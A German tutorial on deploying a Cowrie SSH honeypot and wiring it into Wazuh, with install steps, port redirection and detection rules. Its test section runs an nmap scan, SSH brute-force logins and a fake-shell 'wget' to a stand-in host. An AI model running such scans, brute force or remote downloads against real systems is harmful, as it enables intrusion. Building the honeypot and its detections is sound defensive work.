Wazuh Honeypot Beispiel
Dieser Artikel beschreibt den Aufbau eines Cowrie-SSH-Honeypots als eigene VM und dessen Anbindung an den Wazuh-Manager. Cowrie setzt dem Angreifer eine gefälschte Shell vor und protokolliert jeden Login-Versuch und jeden eingegebenen Befehl. Da es keinen legitimen Grund gibt, den Honeypot anzufassen, ist jede Interaktion ein hochwertiger, false-positive-freier Alarm.
Platzierung
Der Honeypot ist ein eigener Endpoint – nicht auf dem IDS und nicht auf dem Wazuh-Manager:
- Nicht auf dem IDS
- Der Suricata-Sensor hängt passiv (receive-only) am OVS-Mirror-Port. Dort lässt sich kein Dienst anbieten, zu dem ein Angreifer eine Verbindung aufbaut.
- Nicht auf dem Manager
- Das SOC-Hirn terminiert niemals freiwillig Angreifer-Traffic. Der Manager analysiert, er ködert nicht.
- Richtig
- dedizierte VM mit plausibler, ungenutzter IP in einem gemirrorten VLAN
- Beispiel: ein vermeintlicher „DB-Server"
db-prod-01auf172.26.52.30in VLAN 22 (anpassen). - Schöner Nebeneffekt: Ein Scan, der den Honeypot trifft, läuft am East-West-Sensor vorbei und terminiert auf dem Honeypot. Damit feuern beide Ketten – die Portscan-Regel (100210) und die Cowrie-Login-Regel. Doppelte Bestätigung aus zwei Quellen.
Basis-VM
- Debian-Template verwenden (Rocky ginge auch – dann SELinux beachten und Python ggf. via AppStream nachziehen)
- Minimal-Installation, nur SSH und der Wazuh-Agent. Keine weiteren Dienste – kleine Angriffsfläche.
Cowrie installieren
- Abhängigkeiten
apt update && apt install -y git python3-venv python3-dev libssl-dev libffi-dev build-essential
- Eigenen, rechtearmen Benutzer anlegen (Cowrie läuft nie als root)
adduser --disabled-password --gecos "" cowrie
- Als cowrie das Repo holen und venv aufsetzen
su - cowrie git clone https://github.com/cowrie/cowrie cd cowrie python3 -m venv cowrie-env source cowrie-env/bin/activate pip install --upgrade pip pip install -r requirements.txt
Konfiguration
- Konfig-Vorlage kopieren – Datei
/home/cowrie/cowrie/etc/cowrie.cfg
cp etc/cowrie.cfg.dist etc/cowrie.cfg
- Hostname plausibel setzen, damit die Falle echt wirkt
[honeypot] hostname = db-prod-01
- JSON-Log ist standardmäßig aktiv und landet unter
/home/cowrie/cowrie/var/log/cowrie/cowrie.json
- Optional
- Zugangsdaten steuern, mit denen der „Login" gelingt – Datei
etc/userdb.txt
# Benutzer:Trennzeichen:Passwort (! = verboten, * = beliebig) root:x:!root root:x:!123456 root:x:*
Damit scheitern die ersten Versuche und der Angreifer kommt erst nach etwas Bruteforce „rein" – realistischer und didaktisch schöner.
Echten SSH-Zugang verschieben + Port-Umleitung
Cowrie lauscht aus Sicherheitsgründen auf 2222. Damit der Angreifer den Standardport 22 trifft, wird 22 → 2222 umgeleitet. Vorher den echten Admin-SSH wegräumen, sonst sperrst du dich aus.
- Admin-sshd auf einen anderen Port legen – Datei
/etc/ssh/sshd_config
Port 2299
systemctl restart ssh
Port 2299 per Firewall nur fürs Management-Netz freigeben.
- Umleitung 22 → 2222 (Debian Trixie = nftables)
nft add table ip nat nft add chain ip nat prerouting '{ type nat hook prerouting priority -100 ; }' nft add rule ip nat prerouting tcp dport 22 redirect to :2222
Cowrie starten (systemd)
- Unit anlegen – Datei
/etc/systemd/system/cowrie.service
[Unit]
Description=Cowrie SSH Honeypot
After=network.target
[Service]
Type=forking
User=cowrie
Group=cowrie
ExecStart=/home/cowrie/cowrie/bin/cowrie start
ExecStop=/home/cowrie/cowrie/bin/cowrie stop
PIDFile=/home/cowrie/cowrie/var/run/cowrie.pid
Restart=on-failure
[Install]
WantedBy=multi-user.target
- Aktivieren und starten
systemctl daemon-reload systemctl enable --now cowrie
Wazuh-Agent anbinden
Der Agent wird wie bei den übrigen Endpoints am Manager (172.26.54.11) registriert. Anschließend die cowrie.json als Logquelle ergänzen.
- Datei
/var/ossec/etc/ossec.conf– Achtung - nur ein
<ossec_config>-Block, alle<localfile>da hinein
<localfile>
<log_format>json</log_format>
<location>/home/cowrie/cowrie/var/log/cowrie/cowrie.json</location>
</localfile>
- Agent neu starten
systemctl restart wazuh-agent
Cowrie schreibt zeilenweises JSON – der mitgelieferte JSON-Decoder von Wazuh zerlegt das automatisch in dynamische Felder (eventid, src_ip, username, input …). Ein eigener Decoder ist nicht nötig.
Wazuh-Regeln
- Datei
/var/ossec/etc/rules/local_rules.xml
<group name="local,honeypot,cowrie,">
<!-- Basis: neue Session auf dem Honeypot -->
<rule id="100300" level="6">
<decoded_as>json</decoded_as>
<field name="eventid">cowrie.session.connect</field>
<description>Honeypot: neue SSH-Session von $(src_ip)</description>
<mitre>
<id>T1190</id>
</mitre>
<group>recon,honeypot,</group>
</rule>
<!-- Fehlgeschlagener Login-Versuch -->
<rule id="100301" level="8">
<if_sid>100300</if_sid>
<field name="eventid">cowrie.login.failed</field>
<description>Honeypot: Login-Versuch fehlgeschlagen ($(username)/$(password)) von $(src_ip)</description>
<mitre>
<id>T1110</id>
</mitre>
<group>authentication_failed,honeypot,</group>
</rule>
<!-- Bruteforce: viele Fehlversuche von gleicher Quelle -->
<rule id="100302" level="10" frequency="5" timeframe="60">
<if_matched_sid>100301</if_matched_sid>
<same_field>src_ip</same_field>
<description>Honeypot: SSH-Bruteforce von $(src_ip)</description>
<mitre>
<id>T1110</id>
</mitre>
<group>authentication_failures,honeypot,</group>
</rule>
<!-- Angreifer ist drin: erfolgreicher Login -->
<rule id="100303" level="12">
<if_sid>100300</if_sid>
<field name="eventid">cowrie.login.success</field>
<description>Honeypot: erfolgreicher Login von $(src_ip) als $(username)</description>
<mitre>
<id>T1078</id>
</mitre>
<group>authentication_success,honeypot,</group>
</rule>
<!-- Jeder eingegebene Befehl in der Fake-Shell -->
<rule id="100304" level="12">
<if_sid>100300</if_sid>
<field name="eventid">cowrie.command.input</field>
<description>Honeypot: Befehl ausgefuehrt von $(src_ip): $(input)</description>
<mitre>
<id>T1059</id>
</mitre>
<group>honeypot,attack,</group>
</rule>
<!-- Datei nachgeladen (wget/curl in der Shell) -->
<rule id="100305" level="13">
<if_sid>100300</if_sid>
<field name="eventid">cowrie.session.file_download</field>
<description>Honeypot: Datei nachgeladen von $(src_ip)</description>
<mitre>
<id>T1105</id>
</mitre>
<group>honeypot,malware,</group>
</rule>
</group>
- Manager neu starten
systemctl restart wazuh-manager
Level bewusst hoch: Jeder Treffer ist per Definition bösartig – kein Tuning, keine False Positives.
PoC
- Treffer live mitlesen (auf dem Manager)
tail -f /var/ossec/logs/alerts/alerts.json | grep -E '1003[0-9][0-9]'
- Von Kali
- erst scannen (loest zusaetzlich Portscan-Regel 100210 aus)
nmap -sS -p- -T4 172.26.52.30
- Dann SSH-Bruteforce / Login auf den Honeypot
ssh root@172.26.52.30
- Falsche Passwörter → 100301, ab fünf in 60 s → 100302 (Bruteforce).
- Treffer aus der
userdb.txt→ 100303 (erfolgreicher Login).
- In der Fake-Shell Befehle absetzen
whoami; uname -a; wget http://example.test/x
- Jeder Befehl → 100304, der
wgetzusätzlich → 100305.
- Im Dashboard prüfen
- Security Events → Filter
rule.groups:honeypot.
Regel testen ohne Angriff
- Eine echte Zeile aus der cowrie.json durch die Regel-Engine schicken
/var/ossec/bin/wazuh-logtest
Eine cowrie.login.success- oder cowrie.command.input-Zeile aus var/log/cowrie/cowrie.json einfügen und prüfen, ob die passende 1003xx-Regel greift.